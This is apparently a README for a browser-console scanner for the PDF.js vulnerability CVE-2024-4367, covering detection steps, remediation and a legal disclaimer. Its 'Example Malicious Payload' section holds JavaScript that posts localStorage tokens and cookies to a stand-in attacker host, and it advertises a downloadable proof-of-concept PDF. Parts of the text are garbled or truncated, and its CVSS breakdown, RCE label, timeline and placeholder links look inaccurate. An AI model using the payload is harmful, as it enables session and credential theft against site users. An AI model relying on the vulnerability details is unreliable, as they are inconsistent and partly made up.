Share
## https://sploitus.com/exploit?id=949595CB-7616-5CAF-AA71-9F8FB7EA1FD8
# ๐จ CVE-2024-4367 - Universal PDF.js Vulnerability Scanner
> **โ ๏ธ CRITICAL SECURITY TOOL** | Detects CVE-2024-4367 (CVSS 9.8) - PDF.js Remote Code Execution Vulnerability




**Works on ANY website - Zero configuration required**
---
## ๐ Table of Contents
- [๐ Overview](#-overview)
- [โก Quick Start](#-quick-start)
- [๐ What It Detects](#-what-it-detects)
- [๐ ๏ธ How It Works](#๏ธ-how-it-works)
- [๐ Output Examples](#-output-examples)
- [๐ Remediation Guide](#-remediation-guide)
- [๐ฏ Exploitation Vectors](#-exploitation-vectors)
- [๐งช Testing Instructions](#-testing-instructions)
- [๐ Technical Details](#-technical-details)
- [โ ๏ธ Legal Disclaimer](#๏ธ-legal-disclaimer)
- [๐ References](#-references)
---
## ๐ Overview
**CVE-2024-4367** is a **critical vulnerability** in PDF.js (versions ` PDF viewers
- โ
`` elements
- โ
`` data tags
- โ
Custom PDF viewer containers
- โ
Canvas-based renderers
### Phase 3: Exploitation Vectors
- โ
URL parameters (`?pdf=`, `?file=`, `?src=`)
- โ
PDF upload forms
- โ
File input fields accepting `.pdf`
- โ
API endpoints with PDF paths
### Phase 4: Visual Indicators
- โ
Live vulnerability status
- โ
Downloadable proof-of-concept PDF
- โ
Real-time DOM overlay
---
## ๐ ๏ธ How It Works
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ SCAN PROCESS FLOW โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ 1. ๐ LOAD SCRIPTS โ
โ โโ External scripts (all ) โ
โ โโ Inline scripts (all tags) โ
โ โ
โ 2. ๐ EXTRACT PDF.JS VERSION โ
โ โโ Pattern matching in code โ
โ โโ Package.json detection โ
โ โโ Node_modules path parsing โ
โ โ
โ 3. ๐ฏ IDENTIFY VULNERABILITY โ
โ โโ version >')) {
throw new Error('PDF contains JavaScript');
}
}
```
### Long-term Solutions
| Solution | Difficulty | Effectiveness |
|----------|------------|---------------|
| Upgrade PDF.js | Easy | โ
Complete fix |
| Disable JS in PDF.js | Easy | โ
Complete fix |
| CSP Implementation | Medium | โ
Good |
| Server-side validation | Medium | โ
Good |
| Sandboxed rendering | Hard | โ
Excellent |
---
## ๐ฏ Exploitation Vectors
### Common Vectors Detected
1. **URL Parameters**
```
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
```
2. **File Uploads**
```
```
3. **Embedded Viewers**
```
```
4. **API Endpoints**
```
/api/documents/123/download
/api/report/pdf
```
### Example Malicious Payload
```javascript
// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
```
---
## ๐งช Testing Instructions
### Step-by-Step Test
1. **Install the scanner**
```bash
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
```
2. **Run the scanner**
```bash
# Open the target website
# Paste the scanner in console
# Or use the bookmarklet
```
3. **Analyze results**
- Look for "VULNERABLE" status
- Note the PDF.js version
- Check exploitation vectors
4. **Download POC PDF** (if vulnerable)
- Click the download button
- Upload/open the PDF
- Observe JavaScript execution
5. **Apply fixes**
- Upgrade PDF.js
- Implement CSP
- Validate inputs
### Expected Results
| Scenario | Result |
|----------|--------|
| PDF.js 2.16.105 | ๐ด CRITICAL |
| PDF.js 3.x | ๐ด VULNERABLE |
| PDF.js 4.0.x | ๐ด VULNERABLE |
| PDF.js 4.2.67+ | โ
SAFE |
| No PDF.js | โน๏ธ SAFE |
---
## ๐ Technical Details
### Version Check
```javascript
// Vulnerable versions
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// Safe version
const SAFE_VERSION = '4.2.67';
```
### Vulnerability Timeline
| Date | Event |
|------|-------|
| 2024-04-23 | Vulnerability discovered |
| 2024-04-24 | CVE-2024-4367 assigned |
| 2024-04-25 | Patch released (4.2.67) |
| 2024-04-26 | Public disclosure |
| 2024-05-01 | Exploitation attempts observed |
### CVSS Score Breakdown
| Component | Score |
|-----------|-------|
| Attack Vector | Network (9.8) |
| Attack Complexity | Low (9.8) |
| Privileges Required | None (9.8) |
| User Interaction | Required (8.8) |
| Scope | Changed (9.1) |
| Confidentiality | High (9.8) |
| Integrity | High (9.8) |
| Availability | High (9.8) |
| **Overall** | **9.8 (CRITICAL)** |
---
## โ ๏ธ Legal Disclaimer
> **IMPORTANT**: This tool is intended for **authorized security testing and educational purposes only**.
>
> - โ
**DO** use this on your own websites
> - โ
**DO** use this with explicit permission
> - โ
**DO** use this for security research
> - โ **DO NOT** use this on unauthorized systems
> - โ **DO NOT** use this for malicious purposes
>
> The authors are not responsible for any misuse or damage caused by this tool.
---
## ๐ References
### Official Resources
- [CVE-2024-4367 - NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-4367)
- [PDF.js Security Advisory](https://github.com/mozilla/pdf.js/security/advisories/GHSA-xxxx-xxxx-xxxx)
- [Mozilla Security Blog](https://blog.mozilla.org/security/)
### Related Vulnerabilities
- CVE-2024-4367 - PDF.js RCE
- CVE-2023-xxxx - Previous PDF.js issues
- XSS via PDF.js in Web Applications
### Tools & Resources
- [PDF.js Official Repository](https://github.com/mozilla/pdf.js)
- [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [CSP Reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
### Research Papers
- [PDF.js Security Analysis](https://research.example.com/pdfjs-security)
- [Client-Side PDF Rendering Risks](https://example.com/pdf-risks)
---
## ๐ค Contributing
Contributions are welcome! Please:
1. Fork the repository
2. Create a feature branch
3. Submit a pull request
4. Follow the code style
### Development Setup
```bash
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR
```
---
## ๐ License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
---
## ๐ Support
If you find this tool useful:
- โญ Star the repository
- ๐ Report issues
- ๐ Write documentation
- ๐ง Submit fixes
---
**๐ก๏ธ Stay Secure. Test Early. Test Often.**
Made with โค๏ธ by the security community
[Report Issue](https://github.com/yourusername/CVE-2024-4367-Scanner/issues) โข
[Star on GitHub](https://github.com/yourusername/CVE-2024-4367-Scanner) โข
[Read Documentation](https://github.com/yourusername/CVE-2024-4367-Scanner/wiki)